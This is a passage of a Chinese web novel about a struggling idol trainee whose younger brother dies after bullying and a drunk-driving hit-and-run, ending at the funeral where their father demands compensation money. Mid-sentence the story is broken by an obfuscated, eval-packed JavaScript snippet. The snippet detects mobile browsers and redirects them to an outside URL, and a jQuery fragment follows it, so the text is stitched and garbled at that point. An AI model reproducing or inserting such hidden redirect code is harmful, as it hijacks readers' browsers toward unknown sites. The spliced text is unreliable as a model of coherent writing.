他拿着评价表，找到声乐老师，用沙哑的嗓子，一字一句地问：“老师，我哪里问题最大？我应该怎么练？”


    声乐老师有些意外地看了他一眼，或许是那眼神里过于执拗的东西打动了他，他难得地多说了几句，指出了几个最致命的基础问题。


    然后，金侑一练习的方向变了。


    他对着墙壁练站姿，在楼梯间跑上跑下练肺活量，对着钢琴一个音一个音地抠准。过程枯燥到令人发疯，可金侑一偏要如此。


    他没有再晕倒在练习室。不是身体变好了，而是他学会了在身体达到极限之前，强迫自己停下来，吃一点东西，喝一点水，短暂地休息几分钟。


    就像一台过度磨损却强行维持运转的机器，靠着最低限度的润滑和修补，咯吱咯吱地工作。


    他依旧沉默，依旧消瘦，依旧执拗。但偶尔，在某个重复了千百遍的基础练习终于找到一点点感觉时，他那双总是垂着的眼睛里，会极其短暂地，掠过一丝微弱的光。


    那光很淡，像风中残烛，随时会熄灭。


    但它亮过。


    在无数个疲惫不堪的深夜里，当金侑一拖着几乎散架的身体回到那间冰冷破败的屋子，看到弟弟在贤蜷缩在旧垫子上等他，用小手紧紧攥着他的衣角时，金侑一会轻轻抚平弟弟微蹙的眉头，然后靠在冰冷的墙壁上，阖上眼。


    耳边仿佛又响起练习室的音乐，金侑一像上瘾般随着不存在的拍子点头。


    金侑一要去的地方距离现在仍十分遥远，但他似乎终于找到了一种姿势，可以忍着骨头的哀鸣和血液的冰冷，朝着那个方向，一点点，爬过去。


    日子在一种近乎麻木的重复中向前碾过。


    金侑一的身体和精神都像一根绷到极致的弦，靠着惯性维持着最低限度的振动。


    打工，练习，清扫，再打工，再练习。三餐缩减成两餐，有时甚至是一餐，用最便宜的面包或饭团草草对付。


    睡眠是奢侈的碎片，在地铁摇晃的座位上，在练习室角落倚着墙壁的几分钟里，短暂地攫取一点可怜的黑暗。


    进步缓慢得像蜗牛爬行。但月末评价时，声乐老师看着他的目光里，那点“过于外放”的评语后面，隐约多了一些别的东西。


    舞蹈老师虽然仍会严厉地指出他动作的僵硬和乏力，但不再有那种“你不行就离开”的直白驱逐。


    他甚至被允许，在人数不够分组练习时，站在声乐组的最后一排，跟着唱和声。


    尽管他的声音大部分时候都被淹没，但他站在那片属于“预备出道组”的区域内，脚下老旧地板的触感都似乎变得不同。


    偶尔，在深夜空无一人的大练习室里，他会被允许使用那台稍微新一点的音响设备。于是，他放上偷偷刻录的简单demo，对着巨大的镜墙，闭上眼，想象台下有观众，有属于舞台最绚烂的光。


    音乐流淌出来，填充空旷的房间，也短暂地填满他胸腔里那块漏风的空洞。


    那一刻，一切一切，似乎都退得很远。只有旋律，和他自己粗粝却真实的呼吸，以及未来的“爱豆Unie”金侑一。


    但这种虚幻的充盈感，总会在音乐停止的瞬间，被更沉重的现实砸得粉碎。


    口袋里永远拮据的零钱，家里父亲日益暴躁的索取，母亲越来越频繁的诡异言论，还有弟弟在贤肉眼可见的疲惫。


    “哥，学校要交课外活动材料费。”在贤小声说，低着头，不敢看他。


    “哥，爸爸昨天又……”


    “哥，妈妈她……”


    “哥，我很想你……”


    每一个“哥”字后面，都是一道需要他用血肉去填补的裂缝。


    他像个拙劣的泥瓦匠，拼命想把漏水的破船补好，却眼睁睁看着更多的木板在朽坏，更多的海水涌进来。


    在巨大的压力下，金侑一起了叛逆心理。


    有那么一段日子，他几乎和在贤没有任何沟通。


    可那毕竟是他的在贤，是金侑一每每想起都会出神的，金在贤。


    那是一个异常闷热的春末，空气黏稠得仿佛能拧出水。


    金侑一刚结束P社的清扫，累得整个人几乎虚脱，正准备去赶最后一班地铁回家。


    手机在口袋里震动起来，屏幕上跳动着“在贤班主任”的字样。一股不祥的预感瞬间攫住了神经，他手指冰凉地划过接听键。


    “是金在贤的哥哥吗？请你马上来市立医院急诊科！金在贤出车祸了！很严重！”


    后面的话金侑一听不清了。耳朵里像是瞬间灌满了尖锐的鸣叫，世界旋转着退居幕后。


    他不知道自己是怎么冲出P社大楼，怎么跌跌撞撞跑到街上，怎么拦下出租车，又怎么冲进医院弥漫着消毒水气味和惨白灯光的急诊大厅。


    一片混乱中，穿着各式各样的人影在眼前疯狂闪动，摇晃，变大变小。最后，他敏锐地捕捉到了一张在送往急诊室路上，被蓝色布帘半遮住的推床，和床单下那个过于瘦小的轮廓。


    “在贤……”他嘶哑地喊了一声，扑过去，却被送床的护士拦住。


    “家属请冷静！请不要妨碍抢救工作！”


    抢救？车祸？怎么会？在贤这个时间应该在家写作业，或者已经睡了才对！


    警察走了过来，语气公式化中带着一丝不易察觉的沉重。“初步调查，孩子是在附近一处偏僻路段被发现的，当时已经昏迷。”


    “肇事的是一辆酒驾车辆，司机当场逃逸，我们正在追捕。但根据现场痕迹和……和孩子身上的情况看，事情可能没那么简单。”


    警察的目光示意性地扫过角落里那几个少年。金侑一顺着他的目光看去，血液瞬间冻结。其中一个少年，脸上带着明显的抓痕，眼神躲闪。


    “他们……”金侑一的声音抖得不成样子，“他们对在贤做了什么？”


    班主任走上前，嘴唇哆嗦着：“警官，金先生，我们也是刚知道。这几个孩子，可能……可能长期对在贤有一些不恰当的行为。今天放学后，他们……”


    后面的话，金侑一听不进去了。他猛地推开


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976265|193505||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    拦着他的护士，冲到推床边，颤抖着手，轻轻掀开了盖在弟弟身上的白色被单。


    只一眼。


    只一眼，他就觉得自己的灵魂被硬生生剜了出来，扔进冰窟里。


    那具瘦小的身体上，遍布着青紫的瘀伤，新的叠着旧的，有些地方皮肉翻开，渗出暗红色的血。


    手臂，小腿，甚至有肋骨处，呈现出不自然的弯曲。脸颊红肿，嘴角破裂，额角有一道深深的伤口，还在渗着血。这根本不是一场单纯车祸能造成的！


    他的在贤，他的在贤！


    高烧。车祸。霸凌。酒驾。


    这些词汇像淬毒的冰锥，一根根钉进他的太阳穴。


    “他身上有很多旧伤，”正抢救的医生急匆匆拿来设施，语气凝重，“营养不良，抵抗力很差。送来时体温超过40度，已经出现感染性休克的迹象。再加上严重的外伤和多处骨折。我们正在全力抢救，但，请家属做好心理准备。”


    心理准备？什么心理准备？


    金侑一站在那里，一动不动，像一尊骤然风化的石像。他看着弟弟紧闭的双眼，苍白如纸的小脸，看着那些触目惊心的伤痕。


    世界在此噤声，没有了丝毫色彩，只剩下眼前这片惨白和青紫，还有鼻尖浓得化不开的消毒水和血腥味。


    时间变成了一把钝刀，剐蹭着每一根神经。每一秒都像一个世纪那么长。抢救室的灯一直亮着，那红光刺得他眼睛生疼。


    不知过了多久，灯灭了。


    门打开，医生走出来，摘下口罩，脸上带着职业性的疲惫和一丝未能掩藏的遗憾。他看向金侑一，张了张嘴。


    金侑一没等他说出口。他什么都明白了。从看到弟弟身上那些伤的那一刻起，他就都明白了。


    腿脚一软，那么瘦弱的人直接跪倒在地上，额头抵着冰冷光滑的地面。没有哭喊，没有嘶吼，只有身体无法抑制地颤抖，像寒风中最后一片枯叶。


    死了。


    他的在贤，那个会拉着他的衣角说“哥，我害怕”的在贤，那个会把省下的饭团偷偷塞给他的在贤，那个身上总是带着细小伤痕却努力对他笑的在贤。


    死了。


    死在霸凌者的拳脚和恶语里，死在四十度的高烧里，死在一场恰好路过的酒驾车轮下。


    荒谬得像一场最劣质的恶作剧。


    _


    天气阴沉，飘着冰冷的雨丝。墓地偏僻而简陋，葬礼更是寒酸到可怜。在贤的葬礼，浓烈的黑色能把活生生的人咬碎。


    金侑一没想过那个男人会来得这么快——父亲金成浩，不是作为悲痛的长辈，而是作为另一个噩耗的传达者。


    他眼窝深陷，身上酒气混着多日未洗漱的酸臭，拽着金侑一的胳膊，眼神浑浊而疯狂：“钱！赔的钱呢？肇事方赔的钱呢？拿来！老子欠的债再不还就要被砍死了！”


    金侑一甩开他的手，像甩开一摊令人作呕的秽物。


    他看着这个给了他生命，也给了他无尽痛苦和耻辱的男人，眼神空洞得没有一丝波澜。